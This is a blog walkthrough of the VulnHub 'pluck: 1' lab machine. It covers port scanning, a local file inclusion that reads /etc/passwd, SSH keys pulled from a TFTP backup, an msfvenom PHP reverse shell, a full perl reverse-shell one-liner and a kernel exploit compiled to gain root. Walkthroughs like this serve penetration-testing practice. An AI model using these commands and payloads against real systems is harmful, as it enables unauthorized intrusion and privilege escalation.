seekorswim My Security Blog

pluck: 1

21 May 2019 | Walkthroughs
vulnhub lfi tftp pdmenu kernel exploit
VulnHub URL: https://www.vulnhub.com/entry/pluck-1,178/
Hostname: pluck
IP Address: 10.183.0.217


Information Gathering/Recon


The IP address is obtained via DHCP at boot. In my case, the IP is 10.183.0.217.


Service Enumeration/Scanning


root@kali:~/Walkthroughs/pluck# nmap -Pn -sT -sV -A --script=default,banner -oA pluck -p- 10.183.0.217
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-20 15:44 CDT
Nmap scan report for pluck.homenet.dom (10.183.0.217)
Host is up (0.0027s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
|_banner: SSH-2.0-OpenSSH_7.3p1 Ubuntu-1
| ssh-hostkey:
|   2048 e8:87:ba:3e:d7:43:23:bf:4a:6b:9d:ae:63:14:ea:71 (RSA)
|   256 8f:8c:ac:8d:e8:cc:f9:0e:89:f7:5d:a0:6c:28:56:fd (ECDSA)
|_  256 18:98:5a:5a:5c:59:e1:25:70:1c:37:1a:f2:c7:26:fe (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Pluck
3306/tcp open  mysql   MySQL (unauthorized)
| banner: I\x00\x00\x00\xFFj\x04Host 'kali.homenet.dom' is not allowed to
|_ connect to this MySQL server
5355/tcp open  llmnr?
MAC Address: 08:00:27:45:29:54 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   2.65 ms pluck.homenet.dom (10.183.0.217)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 151.12 seconds


Gaining Access


Checking on the software detected by nmap, we have the following:
  • OpenSSH_7.3p1 - common username enumeration issues
  • Apache/2.4.18 - nothing applicable
  • MySQL? - unknown

We don't have much to work with here, so we'll just start looking into the HTTP service on TCP port 80.

The default site for the service is a fancy bootstrap page with helpful links.

            <ul class="nav navbar-nav">
                <li><a href="/">Home</a></li>
                <li><a href="index.php?page=about.php">About</a></li>
                <li><a href="index.php?page=contact.php">Contact Us</a></li>
                <li><a href="admin.php">Admin</a></li>   
            </ul>

The style of the links immediately makes me think they might be vulnerable to local file inclusion (LFI). Trying http://10.183.0.217/index.php?page=../../../../../etc/passwd results in the following.



Some of the interesting accounts include...

root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
peter:x:1001:1001:,,,:/home/peter:/bin/bash
paul:x:1002:1002:,,,:/home/paul:/usr/bin/pdmenu
backup-user:x:1003:1003:Just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh

Using our LFI exploit, we can check out the backup script /usr/local/scripts/backup.sh.

http://10.183.0.217/index.php?page=/usr/local/scripts/backup.sh

[...snip...]
#!/bin/bash

########################
# Server Backup script #
########################

#Backup directories in /backups so we can get it via tftp

echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null
echo "Backup complete"
[...snip...]

Lots of interesting information here. We can see that the /home and /var/www/html directories are being backed up to /backups/backup.tar. We also have mention of a tftp server.

Let's see if we can download the backup file using tftp.

root@kali:~/Walkthroughs/pluck# tftp 10.183.0.217
tftp> verbose
Verbose mode on.
tftp> get backup.tar
getting from 10.183.0.217:backup.tar to backup.tar [netascii]
Received 1824718 bytes in 8.6 seconds [1697412 bits/sec]

Extracting and browsing through the backup, we see a few interesting files. There is a '.sudo_as_admin_successful' file in bob's home directory, so he'd be a good account to target. The /var/www/html directory is incomplete (it doesn't contain the contact.php page) and the admin.php doesn't actually do anything. The most promising folder, though, is in paul's directory.

root@kali:~/Walkthroughs/pluck/tmp/home/paul/keys# ls -l
total 48
-rwxrwxr-x 1 1002 1002  668 Jan 18  2017 id_key1
-rwxrwxr-x 1 1002 1002  600 Jan 18  2017 id_key1.pub
-rwxrwxr-x 1 1002 1002  672 Jan 18  2017 id_key2
-rwxrwxr-x 1 1002 1002  600 Jan 18  2017 id_key2.pub
-rwxrwxr-x 1 1002 1002  668 Jan 18  2017 id_key3
-rwxrwxr-x 1 1002 1002  600 Jan 18  2017 id_key3.pub
-rwxrwxr-x 1 1002 1002 1679 Jan 18  2017 id_key4
-rwxrwxr-x 1 1002 1002  392 Jan 18  2017 id_key4.pub
-rwxrwxr-x 1 1002 1002  668 Jan 18  2017 id_key5
-rwxrwxr-x 1 1002 1002  600 Jan 18  2017 id_key5.pub
-rwxrwxr-x 1 1002 1002 1675 Jan 18  2017 id_key6
-rwxrwxr-x 1 1002 1002  392 Jan 18  2017 id_key6.pub

Looks like paul has a bunch of SSH key pairs available. Time to start trying them out.

We were able to SSH to the server using paul's id_key4 file. As we saw when we pulled /etc/passwd, paul's default shell is /usr/bin/pdmenu. This is pretty limited, but it will at least allow us to create files that we can then request with our LFI vulnerability.

We'll start by creating our PHP reverse shell code using msfvenom, then serve it up with python's SimpleHTTPServer.

NOTE: I modified the rev64.php file to wrap the eval statement in <?php ?> tags.

root@kali:~/Walkthroughs/pluck# msfvenom -p php/reverse_php LHOST=10.183.0.222 LPORT=5433 -e php/base64 -f raw > rev64.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4050 (iteration=0)
php/base64 chosen with final size 4050
Payload size: 4050 bytes
root@kali:~/Walkthroughs/pluck# python -m SimpleHTTPServer 4321                                                                                       Serving HTTP on 0.0.0.0 port 4321 ...                                                                                                                 10.183.0.217 - - [20/May/2019 23:54:17] "GET /rev64.php HTTP/1.0" 200 -

Using pdmenu on the victim, we we can download the PHP file using the WWW option...



...then choosing to Download the file and Save to disk...



This saves our PHP reverse shell file in paul's home folder. Now we just need to start our listener in Metasploit and then request the file using our LFI vulnerability.

I like to start two listeners since PHP reverse shells are usually pretty short-lived. Once I'm connected, I typically start a second reverse shell (usually using perl).

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5433
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.183.0.222
LHOST => 10.183.0.222
msf5 exploit(multi/handler) > set LPORT 5434
LPORT => 5434
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.183.0.222:5434

Requesting the reverse shell file in paul's home folder...

root@kali:~/Walkthroughs/pluck# curl "http://10.183.0.217/index.php?page=/home/paul/rev64.php"

...results in my reverse shell in Metasploit...

msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.183.0.222:5433 -> 10.183.0.217:56388) at 2019-05-21 00:06:55 -0500

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
perl -e 'use Socket;$i="10.183.0.222";$p=5434;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &

[*] Command shell session 2 opened (10.183.0.222:5434 -> 10.183.0.217:42724) at 2019-05-21 00:07:09 -0500

background

Background session 1? [y/N]  y
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

www-data@pluck:/var/www/html$

...and I went ahead and started my second reverse shell using perl.


Maintaining Access


Was getting late, so I skipped this step this time.


Privilege Escalation


Checking the installed kernel and operating system...

www-data@pluck:/$ uname -a
Linux pluck 4.8.0-22-generic #24-Ubuntu SMP Sat Oct 8 09:15:00 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
www-data@pluck:/$ cat /etc/os*
NAME="Ubuntu"
VERSION="16.10 (Yakkety Yak)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.10"
VERSION_ID="16.10"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="http://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=yakkety
UBUNTU_CODENAME=yakkety

Looking through the possible known exploits, only one stands out.

Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                | exploits/linux/local/45010.c

Reading through the writeup, the exploit has worked on several kernels and operating systems, though not ours specifically. Still, it is the closest thing we see, so we'll give it a try.

I copied the exploit to my working directory and served it up with python's SimpleHTTPServer. Then, on the victim...

www-data@pluck:/boot$ cd /tmp
www-data@pluck:/tmp$ wget -O 45010.c 10.183.0.222:4321/45010.c
--2019-05-21 07:14:47--  http://10.183.0.222:4321/45010.c
Connecting to 10.183.0.222:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13728 (13K) [text/plain]
Saving to: '45010.c'

     0K .......... ...                                        100% 16.2M=0.001s

2019-05-21 07:14:47 (16.2 MB/s) - '45010.c' saved [13728/13728]

www-data@pluck:/tmp$ gcc -o pwn 45010.c
www-data@pluck:/tmp$ ./pwn
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

It worked! We have root. Let's get the flag.

cd /root
cat flag.txt

Congratulations you found the flag

---------------------------------------

######   ((((((((((((((((((((((((((((((
#########   (((((((((((((((((((((((((((
,,##########   ((((((((((((((((((((((((
@@,,,##########   (((((((((((((((((((((
@@@@@,,,##########                     
@@@@@@@@,,,############################
@@@@@@@@@@@,,,#########################
@@@@@@@@@,,,###########################
@@@@@@,,,##########                    
@@@,,,##########   &&&&&&&&&&&&&&&&&&&&
,,,##########   &&&&&&&&&&&&&&&&&&&&&&&
##########   &&&&&&&&&&&&&&&&&&&&&&&&&&
#######   &&&&&&&&&&&&&&&&&&&&&&&&&&&&&



Pivoting

N/A

Clean Up


*** REMOVE /home/paul/rev64.php ***
*** REMOVE /tmp/pwn ***


Additional Info


/etc/xinetd.d/tftp

Looking further at the TFTP service, we aren't able to write ("put") to the /backups directory. Checking the TFTP service configuration using the LFI vulnerability, we see the following in the /etc/xinetd.d/tftp file.

http://10.183.0.217/index.php?page=/etc/xinetd.d/tftp

[...snip...]
service tftp
{
protocol = udp
port = 69
socket_type = dgram
wait = yes
user = nobody
server = /usr/sbin/in.tftpd
server_args = /backups
disable = no
}
[...snip...]


Related Posts